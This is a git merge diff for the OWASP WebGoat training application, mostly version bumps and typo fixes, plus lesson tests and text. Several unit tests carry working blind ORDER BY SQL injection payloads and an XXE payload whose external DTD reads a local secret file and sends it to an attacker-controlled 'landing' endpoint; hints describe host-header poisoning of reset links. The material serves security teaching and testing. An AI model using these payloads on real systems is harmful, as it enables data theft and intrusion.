Merge branch 'release/v8.0.0.M22'
This commit is contained in:
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
||||
|
@ -58,7 +58,7 @@ public class AccountVerificationHelper {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("seQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
|
||||
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
@ -6,6 +6,6 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
</project>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
<build>
|
||||
<plugins>
|
||||
|
@ -6,6 +6,6 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
</project>
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -1,6 +1,6 @@
|
||||
=== Mitigation
|
||||
|
||||
In this simple example you noticed that the price is calculated server side and send to the server. The server
|
||||
In this simple example you noticed that the price is calculated client-side and sent to the server. The server
|
||||
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
|
||||
the price of the television in your database and calculate the total price again.
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
||||
|
@ -1,6 +1,5 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.sun.org.apache.xpath.internal.axes.HasPositionalPredChecker;
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
@ -13,9 +12,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.sql.*;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static javax.swing.UIManager.getString;
|
||||
|
||||
public class Users extends Endpoint{
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
@ -4,7 +4,6 @@ import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.plugin.PasswordResetEmail;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
@ -14,8 +13,6 @@ import org.springframework.web.client.RestClientException;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
|
||||
import static java.util.Optional.ofNullable;
|
||||
|
||||
@ -37,23 +34,10 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
|
||||
|
||||
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult sendEmail(@RequestParam Map<String, Object> json) {
|
||||
String email = (String) json.get("emailReset");
|
||||
if (StringUtils.isEmpty(email)) {
|
||||
email = (String) json.getOrDefault("email", "unknown@webgoat.org");
|
||||
}
|
||||
String password = (String) json.getOrDefault("password", "");
|
||||
int index = email.indexOf("@");
|
||||
String username = email.substring(0, index == -1 ? email.length() : index);
|
||||
public AttackResult login(@RequestParam String email, @RequestParam String password) {
|
||||
String emailAddress = ofNullable(email).orElse("unknown@webgoat.org");
|
||||
String username = extractUsername(emailAddress);
|
||||
|
||||
if (StringUtils.isEmpty(password)) {
|
||||
return sendEmail(username, email);
|
||||
} else {
|
||||
return checkPassword(password, username);
|
||||
}
|
||||
}
|
||||
|
||||
private AttackResult checkPassword(String password, String username) {
|
||||
if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) {
|
||||
return trackProgress(success().build());
|
||||
} else {
|
||||
@ -61,6 +45,18 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
|
||||
}
|
||||
}
|
||||
|
||||
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, value = "/reset")
|
||||
@ResponseBody
|
||||
public AttackResult resetPassword(@RequestParam String emailReset) {
|
||||
String email = ofNullable(emailReset).orElse("unknown@webgoat.org");
|
||||
return sendEmail(extractUsername(email), email);
|
||||
}
|
||||
|
||||
private String extractUsername(String email) {
|
||||
int index = email.indexOf("@");
|
||||
return email.substring(0, index == -1 ? email.length() : index);
|
||||
}
|
||||
|
||||
private AttackResult sendEmail(String username, String email) {
|
||||
if (username.equals(getWebSession().getUserName())) {
|
||||
PasswordResetEmail mailEvent = PasswordResetEmail.builder()
|
||||
|
@ -14,16 +14,18 @@
|
||||
<div class="attack-container">
|
||||
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST"
|
||||
action="/WebGoat/PasswordReset/simple-mail"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="container-fluid">
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
|
||||
method="POST"
|
||||
action="/WebGoat/PasswordReset/simple-mail"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div style="padding: 20px;" id="password-login-2">
|
||||
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i> Account
|
||||
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i>
|
||||
Account
|
||||
Access</h4>
|
||||
<fieldset>
|
||||
<div class="form-group input-group">
|
||||
@ -41,7 +43,8 @@
|
||||
Access
|
||||
</button>
|
||||
<p class="help-block">
|
||||
<a class="pull-right text-muted" href="#" id="olvidado" onclick="showPasswordReset()">
|
||||
<a class="pull-right text-muted" href="#" id="olvidado"
|
||||
onclick="showPasswordReset()">
|
||||
<small>Forgot your password?</small>
|
||||
</a>
|
||||
</p>
|
||||
@ -49,6 +52,12 @@
|
||||
</fieldset>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
|
||||
method="POST"
|
||||
action="/WebGoat/PasswordReset/simple-mail/reset"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div style="display: none;" id="password-reset-2">
|
||||
<h4 class="">Forgot your password?</h4>
|
||||
|
||||
@ -69,10 +78,10 @@
|
||||
</fieldset>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<br/>
|
||||
|
||||
<br/>
|
||||
|
@ -15,7 +15,7 @@ password-reset-not-solved=Sorry but you did not redirect the reset link to WebWo
|
||||
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
|
||||
password-reset-hint2=Look at the link, can you think how the server creates this link?
|
||||
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
|
||||
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090
|
||||
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090?
|
||||
password-reset-hint5=Intercept the request and change the host header
|
||||
login_failed=Login failed
|
||||
login_failed.tom=Sorry only Tom can login at the moment
|
@ -14,5 +14,5 @@ The time out is necessary to restrict the attack window, having a link opens up
|
||||
|
||||
Tom always resets his password immediately after receiving the email with the link.
|
||||
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
|
||||
that password.
|
||||
that password. Note: it is not possible to use OWASP ZAP for this lesson.
|
||||
|
||||
|
@ -9,7 +9,7 @@
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||
<form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}">
|
||||
<form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}" novalidate="novalidate">
|
||||
<h2 class="sign_up_title">Reset your password</h2>
|
||||
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
||||
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
|
||||
@ -29,4 +29,4 @@
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
</html>
|
||||
|
@ -5,12 +5,12 @@
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<packaging>pom</packaging>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<modules>
|
||||
|
@ -6,6 +6,6 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
</project>
|
@ -20,14 +20,14 @@ SqlStringInjectionHint9=Intercept the request and try to specify a different ord
|
||||
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
|
||||
|
||||
sql-injection.5a.success=You have succeed: {0}
|
||||
sql-injection.5a.success=You have succeeded: {0}
|
||||
sql-injection.5a.no.results=No results matched. Try Again.
|
||||
|
||||
sql-injection.5b.success=You have succeed: {0}
|
||||
sql-injection.5b.success=You have succeeded: {0}
|
||||
sql-injection.5b.no.results=No results matched. Try Again.
|
||||
|
||||
sql-injection.6a.success=You have succeed: {0}
|
||||
sql-injection.6a.success=You have succeeded: {0}
|
||||
sql-injection.6a.no.results=No results matched. Try Again.
|
||||
|
||||
sql-injection.6b.success=You have succeed: {0}
|
||||
sql-injection.6b.success=You have succeeded: {0}
|
||||
sql-injection.6b.no.results=No results matched. Try Again.
|
||||
|
@ -1,4 +1,5 @@
|
||||
In this assignment try to perform an SQL injection through the ORDER BY field.
|
||||
Try to find the ip address of the `webgoat-prd` server.
|
||||
Try to find the ip address of the `webgoat-prd` server, guessing the complete
|
||||
ip address might take too long so we give you the last part: `xxx.130.219.202`
|
||||
|
||||
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.
|
@ -63,7 +63,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||
.andExpect(jsonPath("$.feedback", containsString("You have succeeded")))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@ -77,4 +77,4 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", is("malformed string: '1''")));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -28,7 +28,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
private WebgoatContext context;
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
public void setup() {
|
||||
SqlInjection sql = new SqlInjection();
|
||||
|
||||
when(webSession.getCurrentLesson()).thenReturn(sql);
|
||||
@ -44,6 +44,40 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressCorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void trueShouldSortByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
@ -63,21 +97,13 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
||||
public void addressIncorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
|
@ -6,6 +6,6 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
</project>
|
@ -6,6 +6,6 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
</project>
|
@ -23,8 +23,8 @@ website. The following items are supported in WebWolf:
|
||||
* Receiving email
|
||||
* Landing page for incoming requests
|
||||
|
||||
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you
|
||||
are not using the Docker image you will need to download the jar file and start it:
|
||||
WebWolf runs as a separate web application. If you are using the Docker-compose file you can just point your browser webWolfLink:here[] to open WebWolf.
|
||||
If you want to use the standalone version, you will need to download the jar file and start it:
|
||||
|
||||
```
|
||||
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
|
||||
@ -33,17 +33,7 @@ java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localho
|
||||
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
|
||||
can bind it to a different address (default localhost)
|
||||
|
||||
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
|
||||
to find out the ip address of the Docker container.
|
||||
|
||||
```
|
||||
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
|
||||
docker pull webgoat/webwolf
|
||||
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh
|
||||
```
|
||||
|
||||
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
|
||||
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
|
||||
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well.
|
||||
|
||||
|
||||
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.
|
||||
|
@ -6,7 +6,7 @@
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>v8.0.0.M20</version>
|
||||
<version>v8.0.0.M22</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
@ -15,6 +15,11 @@
|
||||
<artifactId>commons-lang</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.glassfish.jaxb</groupId>
|
||||
<artifactId>jaxb-runtime</artifactId>
|
||||
<version>2.3.0</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.github.tomakehurst</groupId>
|
||||
|
@ -5,7 +5,7 @@ Or the resource you are trying to read contains illegal XML character which caus
|
||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||
|
||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||
use this server to ping it using `webWolfLink:landing[noLink]`
|
||||
use this server to ping it using `webWolfRootLink:landing[noLink]`
|
||||
|
||||
How do we use this endpoint to verify whether we can perform XXE?
|
||||
|
||||
@ -14,7 +14,7 @@ We can again use WebWolf to host a file called `attack.dtd`, create this file wi
|
||||
[source, subs="macros, specialcharacters"]
|
||||
----
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'>
|
||||
<!ENTITY ping SYSTEM 'webWolfRootLink:landing[noLink]'>
|
||||
----
|
||||
|
||||
Now submit the form change the xml using to:
|
||||
@ -37,7 +37,7 @@ Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||
----
|
||||
{
|
||||
"method" : "GET",
|
||||
"path" : "/ping",
|
||||
"path" : "/landing",
|
||||
"headers" : {
|
||||
"request" : {
|
||||
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||
|
@ -18,6 +18,6 @@ DTD.
|
||||
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
||||
|===
|
||||
|
||||
Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]`
|
||||
Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
|
||||
(NOTE: this endpoint is under your full control)
|
||||
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -2,6 +2,7 @@
|
||||
|
||||
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
|
||||
In general there are three types of entities:
|
||||
|
||||
* internal entities
|
||||
* external entities
|
||||
* parameter entities.
|
||||
@ -34,6 +35,7 @@ may be exploited by dereferencing a malicious URI, possibly allowing arbitrary c
|
||||
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||
|
||||
In general we can distinguish the following kind of XXE attacks:
|
||||
|
||||
* Classic: in this case an external entity is included in a local DTD
|
||||
* Blind: no output and or errors are shown in the response
|
||||
* Error: try to get the content of a resource in the error message
|
@ -89,7 +89,34 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
"%remote;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
performXXE(xml);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||
//Host DTD on WebWolf site
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n";
|
||||
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||
.willReturn(aResponse()
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
|
||||
//Make the request from WebGoat
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
|
||||
"%remote;" +
|
||||
"%all;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
performXXE(xml);
|
||||
}
|
||||
|
||||
private void performXXE(String xml) throws Exception {
|
||||
//Call with XXE injection
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
|
Reference in New Issue
Block a user